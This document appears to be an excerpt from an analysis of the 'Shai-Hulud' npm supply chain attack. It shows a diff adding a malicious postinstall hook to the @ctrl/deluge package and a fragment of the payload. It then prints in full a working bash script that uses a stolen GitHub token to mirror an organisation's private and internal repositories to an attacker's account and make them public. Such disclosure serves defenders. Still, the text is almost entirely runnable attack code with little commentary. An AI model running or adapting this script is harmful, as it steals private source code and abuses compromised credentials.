npm Supply Chain Attack Exposes Private Repositories, AWS Credentials and More

❯ du -sh *
 12K    deluge-7.2.0.tgz
2.0M    deluge-7.2.2.tgz

❯ diff -u package-7.2.0/package.json package-7.2.2/package.json
--- package-7.2.0/package.json  1985-10-26 13:45:00
+++ package-7.2.2/package.json  2025-09-16 01:43:28
@@ -1,6 +1,6 @@
 {
   "name": "@ctrl/deluge",
-  "version": "7.2.0",
+  "version": "7.2.2",
   "description": "TypeScript api wrapper for deluge using got",
   "author": "Scott Cooper <scttcper@gmail.com>",
   "license": "MIT",
@@ -25,7 +25,8 @@
     "build:docs": "typedoc",
     "test": "vitest run",
     "test:watch": "vitest",
-    "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml"
+    "test:ci": "vitest run --coverage --reporter=default --reporter=junit --outputFile=./junit.xml",
+    "postinstall": "node bundle.js"
   },
   "dependencies": {
     "@ctrl/magnet-link": "^4.0.2",
@@ -83,4 +84,4 @@
     "importOrderSeparation": true,
     "importOrderSortSpecifiers": false
   }
-}
+}

async searchPackages(t, r = 20) {
    const n = `/-/v1/search?text=${encodeURIComponent(t)}&size=${r}`,
        F = `${this.baseUrl}${n}`;
    try {
        const t = await fetch(F, {
            method: "GET",
            headers: this.getHeaders(!1)
        });
        if (!t.ok) throw new Error(`HTTP ${t.status}: ${t.statusText}`);
        return (await t.json()).objects || []
    } catch (t) {
        return console.error("Error searching packages:", t), []
    }
}

#!/bin/bash

#-----------------------------------------------------------------------
# This script is designed to migrate all private and internal GitHub
# repositories from a source organization to a target user's account.
#
# It performs the following actions:
#   1. Fetches all non-archived private and internal repositories from the SOURCE_ORG.
#   2. For each repository, it creates a new private repository under the TARGET_USER.
#   3. It then mirrors the original repository to the new one.
#   4. Crucially, it removes the .github/workflows directory during migration.
#   5. After a successful migration, it makes the new repository PUBLIC.
#
# Usage:
#   ./migrate_script.sh <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN>
#
# Arguments:
#   SOURCE_ORG: The name of the GitHub organization to migrate from.
#   TARGET_USER: The GitHub username to migrate the repositories to.
#   GITHUB_TOKEN: A personal access token with 'repo' scope.
#-----------------------------------------------------------------------

SOURCE_ORG=""
TARGET_USER=""
GITHUB_TOKEN=""
PER_PAGE=100
TEMP_DIR=""

# --- Argument Validation ---
if [[ $# -lt 3 ]]; then
    echo "Error: Missing arguments."
    echo "Usage: $0 <SOURCE_ORG> <TARGET_USER> <GITHUB_TOKEN>"
    exit 1
fi

SOURCE_ORG="$1"
TARGET_USER="$2"
GITHUB_TOKEN="$3"

if [[ -z "$SOURCE_ORG" || -z "$TARGET_USER" || -z "$GITHUB_TOKEN" ]]; then
    echo "Error: All three arguments are required."
    exit 1
fi

# Create a temporary directory for cloning repositories
TEMP_DIR="./temp$TARGET_USER"
mkdir -p "$TEMP_DIR"
TEMP_DIR=$(realpath "$TEMP_DIR")

# --- Function to make authenticated GitHub API calls ---
github_api() {
    local endpoint="$1"
    local method="${2:-GET}"
    local data="${3:-}"

    local curl_args=("-s" "-w" "%{http_code}" "-H" "Authorization: token $GITHUB_TOKEN" "-H" "Accept: application/vnd.github.v3+json")

    if [[ "$method" != "GET" ]]; then
        curl_args+=("-X" "$method")
    fi

    if [[ -n "$data" ]]; then
        curl_args+=("-H" "Content-Type: application/json" "-d" "$data")
    fi

    curl "${curl_args[@]}" "https://api.github.com$endpoint"
}

# --- Function to retrieve all repositories from an organization ---
get_all_repos() {
    local org="$1"
    local page=1
    local all_slugs="[]"

    while true; do
        local response
        response=$(github_api "/orgs/$org/repos?type=private,internal&per_page=$PER_PAGE&page=$page")

        local http_code="${response: -3}"
        local body="${response%???}"

        if ! echo "$body" | jq empty 2>/dev/null || ! echo "$body" | jq -e 'type == "array"' >/dev/null; then
            return 1
        fi

        local repos_count
        repos_count=$(echo "$body" | jq length)

        if [[ "$repos_count" -eq 0 ]]; then
            break
        fi

        local page_slugs
        page_slugs=$(echo "$body" | jq '[.[] | select(.archived == false) | .full_name]')
        all_slugs=$(echo "$all_slugs" "$page_slugs" | jq -s 'add')
        ((page++))
    done

    echo "$all_slugs"
}

# --- Function to create a new repository for the target user ---
create_repo() {
    local repo_name="$1"
    local repo_data
    repo_data=$(cat <<EOF
{
    "name": "$repo_name",
    "description": "Shai-Hulud Migration",
    "private": true,
    "has_issues": false,
    "has_projects": false,
    "has_wiki": false
}
EOF
    )

    local response
    response=$(github_api "/user/repos" "POST" "$repo_data")

    local http_code="${response: -3}"
    local body="${response%???}"

    if echo "$body" | jq -e '.name' >/dev/null 2>&1; then
        return 0
    else
        # Handle secondary rate limits by sleeping
        if [[ "$http_code" =~ ^4[0-9][0-9]$ ]] && echo "$body" | grep -qi "secondary rate"; then
            sleep 600
            response=$(github_api "/user/repos" "POST" "$repo_data")
            http_code="${response: -3}"
            body="${response%???}"
            if echo "$body" | jq -e '.name' >/dev/null 2>&1; then
                return 0
            fi
        fi
        return 1
    fi
}

# --- Function to make a repository public ---
make_repo_public() {
    local repo_name="$1"
    local repo_data
    repo_data=$(cat <<EOF
{
    "private": false
}
EOF
    )

    local response
    response=$(github_api "/repos/$TARGET_USER/$repo_name" "PATCH" "$repo_data")
    local http_code="${response: -3}"
    local body="${response%???}"

    if echo "$body" | jq -e '.private == false' >/dev/null 2>&1; then
        return 0
    else
        return 1
    fi
}

# --- Function to migrate a repository using git mirror ---
migrate_repo() {
    local source_clone_url="$1"
    local target_clone_url="$2"
    local migration_name="$3"
    local repo_dir="$TEMP_DIR"

    if ! git clone --mirror "$source_clone_url" "$repo_dir/$migration_name" 2>/dev/null; then
        return 1
    fi

    cd "$repo_dir/$migration_name"
    if ! git remote set-url origin "$target_clone_url" 2>/dev/null; then
        cd - >/dev/null
        return 1
    fi

    # Temporarily convert to a regular repo to remove workflows
    git config --unset core.bare
    git reset --hard

    # Remove workflows directory and commit the change
    if [[ -d ".github/workflows" ]]; then
        rm -rf .github/workflows
        git add -A
        git commit -m "Remove GitHub workflows directory"
    fi

    # Convert back to a bare repo for mirroring
    git config core.bare true
    rm -rf *

    if ! git push --mirror 2>/dev/null; then
        cd - >/dev/null
        return 1
    fi

    cd - >/dev/null
    rm -rf "$repo_dir/$migration_name"
    return 0
}

# --- Function to process the list of repositories ---
process_repositories() {
    local repos="$1"
    local total_repos
    total_repos=$(echo "$repos" | jq length)

    if [[ "$total_repos" -eq 0 ]]; then
        return 0
    fi

    local success_count=0
    local failure_count=0

    for i in $(seq 0 $((total_repos - 1))); do
        local repo
        repo=$(echo "$repos" | jq -r ".[$i]")
        local migration_name="${repo//\//-}-migration"

        local auth_source_url="https://$GITHUB_TOKEN@github.com/$repo.git"
        local auth_target_url="https://$GITHUB_TOKEN@github.com/$TARGET_USER/$migration_name.git"

        echo "Migrating $repo to $TARGET_USER/$migration_name..."

        if create_repo "$migration_name"; then
            if migrate_repo "$auth_source_url" "$auth_target_url" "$migration_name"; then
                if make_repo_public "$migration_name"; then
                    echo "  -> Success: Migrated and made public."
                    ((success_count++))
                else
                    # Still counts as a success if migration worked but public toggle failed
                    echo "  -> Warning: Migrated but failed to make public."
                    ((success_count++))
                fi
            else
                echo "  -> Error: Migration failed."
                ((failure_count++))
            fi
        else
            echo "  -> Error: Could not create target repository."
            ((failure_count++))
        fi
    done

    echo "-------------------------------------"
    echo "Migration Complete."
    echo "Successful: $success_count"
    echo "Failed:     $failure_count"
    echo "-------------------------------------"

    return $failure_count
}

# --- Main execution block ---
main() {
    # Check for required command-line tools
    for tool in curl jq git; do
        if ! command -v "$tool" &> /dev/null; then
            echo "Error: Required tool '$tool' is not installed."
            exit 1
        fi
    done

    echo "Fetching repositories from $SOURCE_ORG..."
    local repos
    if ! repos=$(get_all_repos "$SOURCE_ORG"); then
        echo "Error: Failed to fetch repositories from $SOURCE_ORG."
        exit 1
    fi

    process_repositories "$repos"
}

# Run main function with provided arguments
main "$@"